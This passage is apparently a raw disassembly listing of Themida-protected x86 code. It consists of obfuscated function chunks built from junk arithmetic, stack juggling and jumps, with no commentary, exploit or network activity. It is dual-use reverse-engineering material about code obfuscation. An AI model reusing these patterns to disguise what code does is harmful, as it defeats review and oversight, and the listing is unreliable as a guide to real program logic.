[esp+0Ch+var_C], edx mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp+0Ch+var_C] xor [esp+0Ch+var_C], edx jmp loc_561BC5 ; END OF FUNCTION CHUNK FOR sub_56B577 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_5702BB: ; CODE XREF: sub_563DCB+3A36j sub cl, 0FFh dec cl xor cl, al xor al, cl xor cl, al push cx push edx jmp loc_56AD45 ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_5702CE: ; CODE XREF: sub_56628B-36F0j mov ebp, 15B816C0h inc ebp sub ebp, 57C511F1h push edx mov edx, 79E04C6Dh push ebx mov ebx, 41D1176Dh and edx, ebx pop ebx add edx, 4613F1EAh jmp loc_56E341 ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_5702F4: ; CODE XREF: sub_5685B2-5BD6j and ebp, 62E00690h sub ebp, 0C7129D4h jmp loc_56FEC8 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_570305: ; CODE XREF: sub_565632-4C5Aj push edi push esp pop edi add edi, 4 push esi jmp loc_56E45D ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_570314: ; CODE XREF: sub_569FB8+3913j push eax push edx jmp loc_56DB6F ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- loc_57031B: ; CODE XREF: Themida_:00561AC3j mov edx, 4 add eax, edx pop edx add eax, 4 xchg eax, [esp] jmp loc_561A40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_570330: ; CODE XREF: sub_5620B7+FA83j push ecx mov ch, dl push edx mov dl, ch jmp loc_568B06 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_57033B: ; CODE XREF: sub_560CF1+14447j add ebp, 4 xchg ebp, [esp+4+var_4] pop esp shr eax, 8 jmp loc_565DBC ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_57034A: ; CODE XREF: sub_57354D-9159j mov [esp+0], esi jmp loc_5717B1 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_570352: ; CODE XREF: sub_569193-3522j pop esp push 68AAh mov [esp+0Ch+var_C], esi jmp sub_574304 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574000 loc_570360: ; CODE XREF: sub_574000-13175j push ecx mov ecx, 4 add esi, ecx pop ecx push esi push [esp+10h+var_C] pop esi pop [esp+10h+var_10] pop esp jmp loc_56FA07 ; END OF FUNCTION CHUNK FOR sub_574000 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EB4A loc_570378: ; CODE XREF: sub_56EB4A+9j add cl, bl pop ebx sub al, cl mov ecx, [esp+0] add esp, 4 push [esp-4+arg_0] mov ebx, [esp+0] add esp, 4 jmp sub_564C54 ; END OF FUNCTION CHUNK FOR sub_56EB4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_570394: ; CODE XREF: sub_574949-1542j pop dword ptr [edi+eax*4] jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_57039C: ; CODE XREF: sub_56B06D+785Ej xchg ecx, [esp+1Ch+var_1C] pop esp mov [esp+18h+var_18], edi jmp loc_572D83 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56189F loc_5703A8: ; CODE XREF: sub_56189F+9A10j mov ebx, 476451C6h mov edx, ebx pop ebx push ebp jmp loc_56A719 ; END OF FUNCTION CHUNK FOR sub_56189F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_5703B6: ; CODE XREF: sub_564020-3980j xor eax, 4B553D78h add eax, 34B5E9FFh mov edi, eax pop eax add ebx, edi pop edi push dword ptr [eax] jmp loc_56E968 ; END OF FUNCTION CHUNK FOR sub_564020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5703CD: ; CODE XREF: sub_561418+11A66j pop edx and edx, 4E125E05h sub edx, 8C08118Bh add eax, edx pop edx mov esi, [esp+18h+var_18] push esi jmp loc_56287B ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5703E6: ; CODE XREF: sub_5678CB+A42Bj sub al, 0B3h sub bl, 27h add bl, al add bl, 27h pop eax push small 7B8Dh mov [esp+0], dx mov dh, 0CAh add bl, dh mov dx, [esp+0] sub esp, 4 mov [esp+2+var_4+2], ecx push esp jmp loc_574FD2 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_57040D: ; CODE XREF: sub_57354D-9E79j mov eax, 526226F1h and eax, 538745EAh inc eax inc eax add eax, 4C1E252Bh sub eax, 0C0F15EF6h sub esi, eax push [esp+4+var_4] pop eax push edx mov edx, esp add edx, 4 jmp loc_570213 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- loc_570437: ; CODE XREF: Themida_:0056E9F1j push 42D227Bh pop ebp jmp loc_56BB31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_570442: ; CODE XREF: sub_56E96D-608Bj push eax jmp loc_56D361 ; END OF FUNCTION CHUNK FOR sub_56E96D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_570448: ; CODE XREF: sub_569CBC+1BBj add edi, ecx pop ecx xchg edi, [esp+10h+var_10] pop esp push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx mov ebx, [esp+14h+var_14] add esp, 4 add ebp, 4 push ebp push [esp+14h+var_10] pop ebp jmp loc_565890 ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_570474: ; CODE XREF: sub_574F16-119E1j add eax, 4 add eax, 4 jmp loc_574B62 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5736FA loc_570481: ; CODE XREF: sub_5736FA+17j pop ebp sub eax, edi jmp loc_573662 ; END OF FUNCTION CHUNK FOR sub_5736FA ; --------------------------------------------------------------------------- loc_570489: ; CODE XREF: Themida_:005609FEj push ebp jmp loc_56DD1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_57048F: ; CODE XREF: sub_57549C-674Ej sub edx, 4 xchg edx, [esp+8+var_8] jmp loc_5739B4 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57199D loc_57049D: ; CODE XREF: sub_57199D-A20j add ebx, 4 xchg ebx, [esp+4+var_4] pop esp push 5934h mov [esp+4+var_4], ecx jmp loc_56C511 ; END OF FUNCTION CHUNK FOR sub_57199D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_5704B4: ; CODE XREF: sub_56AEF2-74D6j xor dl, 9Ch push ebx mov bl, 0C2h or bl, 0C3h and bl, 92h add bl, 0Dh add dl, bl jmp loc_56E831 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5750DE loc_5704CA: ; CODE XREF: sub_5750DE-DA3Ej mov ecx, [esp+0] add esp, 4 sub eax, 538F00CCh add eax, esi jmp loc_56413C ; END OF FUNCTION CHUNK FOR sub_5750DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_5704DF: ; CODE XREF: sub_5685B2+71FCj pop edx add esp, 4 and edx, esi pop esi push ebp push ecx push edi mov edi, 6AE836ABh mov ecx, edi pop edi mov ebp, 8D1E8325h jmp loc_56378B ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_5704FE: ; CODE XREF: sub_5738F4+1B94j mov ebp, 79842DE4h inc ebp sub ebp, 6E86318Ah not ebp sub ebp, 0ACC98D09h add edi, ebp pop ebp jmp loc_56D009 ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747D7 loc_57051A: ; CODE XREF: sub_5747D7-1054Ej push edx mov edx, 4 add ebx, edx pop edx push edx mov edx, 4 sub ebx, edx jmp loc_568FA7 ; END OF FUNCTION CHUNK FOR sub_5747D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_570530: ; CODE XREF: sub_56CC46-B559j sub ecx, 52B20B69h jmp loc_56BEBF ; --------------------------------------------------------------------------- loc_57053B: ; CODE XREF: sub_56CC46-9064j mov edi, 0FBDFEED5h add ecx, edi pop edi add ebx, ecx mov ecx, [esp+4+var_4] sub esp, 4 mov [esp+8+var_8], ebx mov ebx, esp add ebx, 4 push edx jmp loc_56CB38 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_57055F: ; CODE XREF: sub_571F6F+6j mov [esp+4+var_4], ebx jmp loc_5669DB ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_570567: ; CODE XREF: sub_561027+AB2Dj push [esp+18h+var_18] jmp loc_56BCF1 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_57056F: ; CODE XREF: sub_564D26+5CEAj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+2Ch+var_2C] pop esp xor esi, edi mov edi, [esp+28h+var_28] add esp, 4 push ebp mov ebp, esi mov edx, ebp pop ebp pop esi mov ecx, edx pop edx sub [edi+24h], ecx push [esp+1Ch+var_1C] pop ecx jmp loc_5726D1 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_57059C: ; CODE XREF: sub_571890+21DDj xor ecx, 72363463h neg ecx jmp loc_56AF6B ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572D45 loc_5705A9: ; CODE XREF: sub_572D45-BF83j xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] pop esp or [esp-4+arg_0], al pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_572D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA44 loc_5705BC: ; CODE XREF: sub_56FA44-37B4j mov esi, esp add esi, 4 jmp loc_56515C ; END OF FUNCTION CHUNK FOR sub_56FA44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_5705C9: ; CODE XREF: sub_572641-D8Ej sub ebp, 4 xchg ebp, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+4+var_4], ebx mov bh, 0D6h shr bh, 4 push ecx mov cl, 0CAh sub cl, 0C9h add bh, 0A0h sub bh, cl jmp loc_573441 ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_5705ED: ; CODE XREF: sub_56CC46+145Aj push ecx mov ecx, 23383BDBh jmp loc_573F89 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_5705F8: ; CODE XREF: sub_568764+7651j xchg ecx, [esp+8+var_8] pop esp jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C295 loc_570601: ; CODE XREF: sub_56C295+4j mov [esp+0], ebx mov ebx, 63D61E34h jmp loc_56078F ; END OF FUNCTION CHUNK FOR sub_56C295 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_57060E: ; CODE XREF: sub_571F6F-10F3j push eax sub esp, 4 mov [esp+8+var_8], esp add [esp+8+var_8], 4 jmp loc_562CFB ; END OF FUNCTION CHUNK FOR sub_571F6F ; =============== S U B R O U T I N E ======================================= sub_570621 proc near ; DATA XREF: Themida_:0055FF00o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560F14 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056244E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005625D6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056329B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00563683 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00564D54 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056533B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00566FD7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056859E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056C5F1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056FF59 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00573160 SIZE 00000007 BYTES push 652Dh push esp pop [esp+8+var_8] push ebp push esp pop ebp push edx mov edx, 4 add ebp, 74F016Eh add ebp, edx sub ebp, 74F016Eh mov edx, [esp+0Ch+var_C] add esp, 4 push ebx mov ebx, 74F60114h jmp loc_564D54 sub_570621 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56189F loc_570652: ; CODE XREF: sub_56189F+3D1Dj jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56189F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570B3C loc_570657: ; CODE XREF: sub_570B3C+EA6j add esi, 3ACB1D3Ch or esi, 1C1D0FABh sub esi, 60584062h sub ebx, esi jmp loc_56768A ; END OF FUNCTION CHUNK FOR sub_570B3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_570670: ; CODE XREF: sub_56CD13+348Fj pop ebx inc edx xor edx, 2EFE05E0h jmp loc_56039D ; END OF FUNCTION CHUNK FOR sub_56CD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_57067D: ; CODE XREF: sub_5738F4-951j pop ebx shl eax, 7 shr eax, 6 shl eax, 6 sub eax, 0DAF49FE2h push edi push esi jmp loc_5733DE ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_570693: ; CODE XREF: sub_5638E4+A09Ej and esi, 4D026521h push 0 sub [esp+14h+var_14], esi pop esi add esi, 45024505h mov edi, esi mov esi, [esp+10h+var_10] add esp, 4 jmp loc_56F69A ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_5706B5: ; CODE XREF: sub_568E5C-47A0j and eax, edx mov edx, [esp+0Ch+var_C] add esp, 4 shr eax, 6 jmp loc_5632A5 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_5706C5: ; CODE XREF: sub_574FC9-654Dj push eax mov eax, 4 add [esp+4], eax pop eax push dword ptr [esp+0] pop ebx add esp, 4 sub esp, 4 mov [esp+0], edx push edi push 41BF5FD2h pop edi xor edi, 7BAC111Bh push edx mov edx, 249F13C4h sub edx, 0EA8BC4FFh sub edi, edx pop edx jmp loc_575321 ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_5706FE: ; CODE XREF: sub_574F16-AF0Cj or cl, 0CDh shr cl, 5 shl cl, 3 sub cl, 2Fh push 7A4Fh mov [esp+0Ch+var_E+2], edx mov dl, 7Ah jmp loc_57451A ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_570719: ; CODE XREF: sub_56A7FB+527Dj pop eax add al, bl pop ebx push 0A2Bh mov [esp+0], ecx mov ch, 6 jmp loc_563B64 ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_57072C: ; CODE XREF: sub_567B29+21Cj pop ebx jmp loc_567426 ; END OF FUNCTION CHUNK FOR sub_567B29 ; =============== S U B R O U T I N E ======================================= sub_570732 proc near ; DATA XREF: Themida_:0055FDA0o var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005614C4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00561D7F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00561EFD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056226F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005624DE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005638BF SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00563B9D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005647FD SIZE 0000003B BYTES ; FUNCTION CHUNK AT 0056562C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056667B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005669F1 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00568362 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00568853 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00568D42 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005690D5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00569B14 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00569E5C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00569E7C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056AACB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B46E SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0056B8EB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056C7D6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056C9E4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056D36F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056D5E6 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056DDEB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056EB67 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056F1A9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F5AE SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0056FC70 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056FDF5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00570075 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005707F1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00570A32 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00572315 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005732CE SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00573CCD SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00574292 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00574B0A SIZE 0000000B BYTES push dword ptr [edi+1Ch] push [esp+4+var_4] push [esp+8+var_8] pop eax push 70E7h mov [esp+0Ch+var_C], esi mov esi, esp sub esp, 4 mov [esp+10h+var_10], edx mov edx, 4 add esi, edx pop edx push eax mov eax, 4 sub esi, 4D8E185Bh add esi, eax add esi, 4D8E185Bh mov eax, [esp+10h+var_10] add esp, 4 xchg esi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] sub esp, 4 jmp loc_561EFD sub_570732 endp ; --------------------------------------------------------------------------- loc_57077F: ; CODE XREF: Themida_:0056360Dj mov esp, [esp] jmp loc_56F239 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574DC1 loc_570787: ; CODE XREF: sub_574DC1+Ej push [esp+8+var_8] jmp loc_56724C ; END OF FUNCTION CHUNK FOR sub_574DC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_57078F: ; CODE XREF: sub_571890+7j mov [esp+4+var_4], eax push 7A3Eh jmp loc_56FF3D ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_57079C: ; CODE XREF: sub_563A7F+8C11j xor cl, al pop eax jmp loc_566919 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_5707A4: ; CODE XREF: sub_57146D-9A9Cj sub bh, dl sub bh, 0A9h pop edx xor bh, ah xor ah, bh jmp loc_56F2AC ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_5707B3: ; CODE XREF: sub_574656-7C77j add ecx, esi pop esi sub esp, 4 mov [esp+4+var_4], ebx jmp loc_563BC0 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_5707C4: ; CODE XREF: sub_568E5C+8E07j xor [esp+0], esi xor esi, [esp+0] pop esp push eax mov eax, esp push 3211h mov [esp+4+var_4], ecx push ebp jmp loc_56043C ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D9E loc_5707DC: ; CODE XREF: sub_568D9E+B9D1j pop esp jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_568D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_5707E2: ; CODE XREF: sub_5620B7-3EEj pop eax jmp loc_56B0E7 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EFD2 loc_5707E8: ; CODE XREF: sub_56EFD2-C0B0j mov esi, eax pop eax pop ebx jmp loc_562643 ; END OF FUNCTION CHUNK FOR sub_56EFD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_5707F1: ; CODE XREF: sub_570732-1586j add ebx, 4 push ebx push [esp+1Ch+var_18] jmp loc_5624DE ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB51 loc_570801: ; CODE XREF: sub_56AB51-11BAj shl edx, 3 and edx, 4F607E32h push ebx mov ebx, 70704FD0h xor ebx, 0A42604C7h add edx, ebx pop ebx jmp loc_567786 ; END OF FUNCTION CHUNK FOR sub_56AB51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_57081E: ; CODE XREF: sub_570E81-F3AEj not edi add edi, 76299EBAh mov eax, edi pop edi push edx mov edx, 68A60D4h jmp loc_571DBB ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574AF3 loc_570834: ; CODE XREF: sub_574AF3-DAAFj xchg eax, [esp+8+var_8] mov esp, [esp+8+var_8] push ecx push 6A9Ch mov [esp+4+var_4], esp jmp loc_57425F ; END OF FUNCTION CHUNK FOR sub_574AF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_570848: ; CODE XREF: sub_569DB5+2FCEj mov [esp+4+var_4], esi mov esi, 77445EBEh jmp loc_573428 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_570855: ; CODE XREF: sub_567D31+48E2j pop edi pop esi sub esi, 66F42050h push esi pop eax pop esi jmp loc_56A44D ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_570865: ; CODE XREF: sub_565632+8777j sub [edi+24h], ecx pop ecx ; END OF FUNCTION CHUNK FOR sub_565632 ; START OF FUNCTION CHUNK FOR sub_56616D loc_570869: ; CODE XREF: sub_56616D+4C0j push 3713h mov [esp-8+arg_4], edx sub esp, 4 mov [esp-4+arg_0], ebx sub [esp-4+arg_0], 17913F0Fh pop edx push esi push 3129h jmp loc_570B9F ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565849 loc_57088D: ; CODE XREF: sub_565849+2687j sub edx, 5DDF69C4h jmp loc_57452C ; END OF FUNCTION CHUNK FOR sub_565849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_570898: ; CODE XREF: sub_57549C-5378j mov [esp+0Ch+var_C], ebp jmp loc_57313B ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_5708A0: ; CODE XREF: sub_571088+1799j xor bl, cl jmp loc_57245A ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_5708A7: ; CODE XREF: sub_569193-4C03j mov edx, ebx pop ebx mov edi, 6C8316E4h sub edi, edx mov edx, [esp+14h+var_14] add esp, 4 add edx, edi jmp loc_56F1E1 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_5708C1: ; CODE XREF: sub_5685B2-16EEj push eax jmp loc_561F30 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_5708C7: ; CODE XREF: sub_57523A-81A7j neg eax sub eax, 0D1C72480h add ebp, eax pop eax mov esi, [esp+10h+var_10] add esp, 4 add edx, ebp pop ebp sub edi, 233D0451h push ecx jmp loc_56473C ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5708E9: ; CODE XREF: sub_57354D-810Fj not ebx sub ebx, 0AFF10C29h sub esi, ebx pop ebx and eax, esi jmp loc_562E3C ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- loc_5708FB: ; CODE XREF: Themida_:005674F2j add edx, 4 xchg edx, [esp] pop esp push 1777h mov [esp], esi sub esp, 4 mov [esp], edi mov edi, 4 mov esi, edi mov edi, [esp] jmp loc_56021D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5733CA loc_570925: ; CODE XREF: sub_5733CA-1282Fj div cx push small 1703h mov [esp+0], dx push ax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5733CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573876 loc_570938: ; CODE XREF: sub_573876-D5F0j add esp, 4 push 0B62h mov [esp+8+var_8], edx mov edx, 4 sub ecx, 1096426Eh add ecx, edx jmp sub_560066 ; END OF FUNCTION CHUNK FOR sub_573876 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_570955: ; CODE XREF: sub_5620B7+40B1j sub dl, 0FFh push ecx mov cl, 87h push small 0 sub byte ptr [esp+12h+var_14+2], cl mov cl, byte ptr [esp+12h+var_14+2] add esp, 2 shr cl, 7 push ebx jmp loc_571B0D ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_570971: ; CODE XREF: sub_565632+1D74j mov ecx, 0C143874h not ecx xor ecx, 0F3EBC78Fh jmp loc_568FD7 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EFD2 loc_570983: ; CODE XREF: sub_56EFD2-A1F1j add ebx, 38957516h add ebx, 4477385h sub ebx, 0BF5C9363h mov esi, ebx mov ebx, [esp+0Ch+var_C] add esp, 4 mov ebp, 8277A366h sub ebp, 779C0684h add ebp, esi add ebp, 779C0684h jmp loc_5688AD ; END OF FUNCTION CHUNK FOR sub_56EFD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E1B loc_5709B8: ; CODE XREF: sub_569E1B+34FCj sub dh, 93h not dh inc dh shl dh, 4 shr dh, 7 jmp loc_562FF4 ; END OF FUNCTION CHUNK FOR sub_569E1B ; --------------------------------------------------------------------------- loc_5709CA: ; CODE XREF: Themida_:0056B418j neg esi xor esi, 1CB86A79h and edx, esi pop esi and edx, 95B5023h dec edx shl edx, 6 jmp loc_5674D6 